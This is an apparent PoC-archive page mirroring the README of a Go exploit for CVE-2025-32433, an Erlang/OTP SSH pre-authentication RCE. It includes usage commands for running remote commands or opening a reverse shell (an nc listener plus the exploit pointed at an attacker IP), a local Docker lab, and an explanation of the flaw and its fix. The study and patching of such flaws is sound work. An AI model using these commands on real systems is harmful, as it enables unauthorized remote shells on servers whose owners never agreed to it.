Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Source
Associated Vulnerability
Title:Erlang/OTP SSH Vulnerable to Pre-Authentication RCE (CVE-2025-32433)
Description:Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
Description
Go-based exploit for CVE-2025-32433
Readme
# CVE-2025-32433 Remote Shell
Go-based exploit for CVE-2025-32433 returning a remote bash shell.

Heavily inspired by understanding of exploit derived from [ProDefense's PoC for CVE-2025-32433](https://github.com/ProDefense/CVE-2025-32433).


## Running the Exploit
```
make
```
>  `exploit.exe` is also made available for Windows machines by the cross-compilation Makefile.

then execute the exploit binary in one of 2 ways:

**Command**
```
./exploit <target-ip> <target-port> "<command>"
```
> NOTE: does not return the output of command

**Reverse Shell**
```
nc -lnvp <attacker-port>
```
```
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
```


## Setting Up the Environment
Using `ProDefense`'s Dockerfile, you can set up an environment through the following:
```
docker build -t "cve-2025-32433:Dockerfile" .
```
```
docker run -p 2222:2222 cve-2025-32433:Dockerfile
```
You may then execute the exploit as in the [Running the Exploit](#running-the-exploit) section: e.g.
```
nc -lnvp 4444
```
```
./exploit 127.0.0.1 2222 172.17.0.1 4444
```
> `172.17.0.1` is the default IP for the Docker Host


## Explanation of Exploit

> TL;DR **"The issue is caused by a flaw in the SSH protocol message handling which allows an attacker to send connection protocol messages prior to authentication,"**

Typical SSH Procedure:
```
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
```

Exploit Procedure:
1. TCP Connection to Victim
2. SSH Banner Exchange
3. `SSH_MSG_KEXINIT`
4. `SSH_MSG_CHANNEL_OPEN`		(Pre-auth)
5. `SSH_MSG_CHANNEL_REQUEST`	(Pre-auth)  --> contains command payload

> Notice that the entire USERAUTH portion is skipped in the exploit.

### Summary of Messages

Relevant RFCs for SSH Messages:
* [`RFC 4253: The Secure Shell (SSH) Transport Layer Protocol`](https://datatracker.ietf.org/doc/html/rfc4253)
* [`RFC 4254: The Secure Shell (SSH) Connection Protocol`](https://datatracker.ietf.org/doc/html/rfc4254)

#### Message Numbers
![Message Numbers in SSH Transport Layer Protocol](images/transport_layer_protocol_message_numbers.png)

![Message Numbers in SSH Connection Protocol](images/connection_protocol_message_numbers.png)

#### Message Formats
SSH_MSG_KEXINIT

![SSH_MSG_KEXINIT](images/SSH_MSG_KEXINIT_format.png)


SSH_MSG_CHANNEL_OPEN

![SSH_MSG_CHANNEL_OPEN](images/SSH_MSG_CHANNEL_OPEN_format.png)


SSH_MSG_CHANNEL_REQUEST

![SSH_MSG_CHANNEL_REQUEST](images/SSH_MSG_CHANNEL_REQUEST_format.png)


### Other Requirements

String Format (from [`RFC 4251: The Secure Shell (SSH) Protocol Architecture`](https://datatracker.ietf.org/doc/html/rfc4251))

![String](images/string_format.png)


Padding

![Padding](images/padding.png)


### Understanding Fix and Exploit

The following is the fix introduced to the [Erlang OTP Libraries](https://github.com/erlang/otp) in the [`ssh: early RCE fix` commit](https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891):

![handle_msg](images/handle_msg.png)

The fix introduces a new `handle_msg` clause that, according to its arguments, catches:
* `Msg`: catch-all variable for any incoming SSH messages not already matched by earlier clauses (like `#ssh_msg_disconnect{}`)
* `#ssh{authenticated = false}`: session state that matches if the connection has not yet been authenticated.

The clause will not catch sessions with `authenticated = true`, which is attached to the session when the server receives a `#ssh_msg_userauth_success{}`:

![authenticated = true](images/authenticated_set_true.png)

which is sent after the success of any of the following authentication methods:

![authentication methods sending `#ssh_msg_userauth_success{}`](images/ssh_msg_userauth_success.png)
File Snapshot

[4.0K] /data/pocs/cea47545cfd5ba969e0524b747026cdd7fc8fc5a ├── [6.6K] exploit.go ├── [4.0K] images │   ├── [ 29K] authenticated_set_true.png │   ├── [ 61K] connection_protocol_message_numbers.png │   ├── [103K] handle_msg.png │   ├── [ 98K] padding.png │   ├── [ 44K] SSH_MSG_CHANNEL_OPEN_format.png │   ├── [ 44K] SSH_MSG_CHANNEL_REQUEST_format.png │   ├── [ 70K] SSH_MSG_KEXINIT_format.png │   ├── [255K] ssh_msg_userauth_success.png │   ├── [ 69K] string_format.png │   └── [ 33K] transport_layer_protocol_message_numbers.png ├── [ 466] Makefile └── [3.8K] README.md 1 directory, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →